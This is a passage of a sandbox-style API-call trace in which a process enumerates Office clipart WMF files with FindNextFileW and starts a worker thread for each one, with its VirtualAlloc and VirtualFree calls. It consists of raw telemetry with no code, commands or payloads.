	[0243.647] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1
	[0243.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c8
	[0243.649] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.650] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1
	[0243.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20cc
	[0243.686] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.687] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1
	[0243.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d0
	[0243.689] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.689] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1
	[0243.689] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d4
	[0243.692] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.693] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x580ec000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00388_.WMF", cAlternateFileName="")) returned 1
	[0243.693] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d8
	[0243.695] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.696] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c25e800, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c25e800, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x20ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00389_.WMF", cAlternateFileName="")) returned 1
	[0243.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20dc
	[0243.699] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.700] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1
	[0243.700] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e0
	[0243.824] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.825] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 1
	[0243.825] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e4
	[0243.827] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.828] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1
	[0243.828] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e8
	[0243.830] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.831] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1
	[0243.831] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20ec
	[0243.833] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.834] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1
	[0243.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f0
	[0243.836] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.836] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1
	[0243.836] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f4
	[0243.838] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.839] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1
	[0243.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f8
	[0243.841] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.842] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1
	[0243.842] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20fc
	[0243.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.845] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f311400, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f311400, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x14bc, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00452_.WMF", cAlternateFileName="")) returned 1
	[0243.845] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2100
	[0243.847] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.848] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1
	[0243.848] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2104
	[0243.850] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.851] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1
	[0243.851] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2108
	[0243.853] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.854] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1
	[0243.854] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210c
	[0243.856] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.857] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1
	[0243.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2110
	[0243.940] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.941] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1
	[0243.941] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2114
	[0243.943] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.943] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1
	[0243.943] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2118
	[0243.945] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.946] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1
	[0243.946] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x211c
	[0243.948] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.948] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1
	[0243.948] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2120
	[0243.950] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.951] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1
	[0243.952] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2124
	[0243.954] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.955] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1
	[0243.955] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2128
	[0243.956] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.957] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1
	[0243.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x212c
	[0243.960] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0243.960] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x72, dwReserved1=0x0, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1
	[0243.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0243.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2130
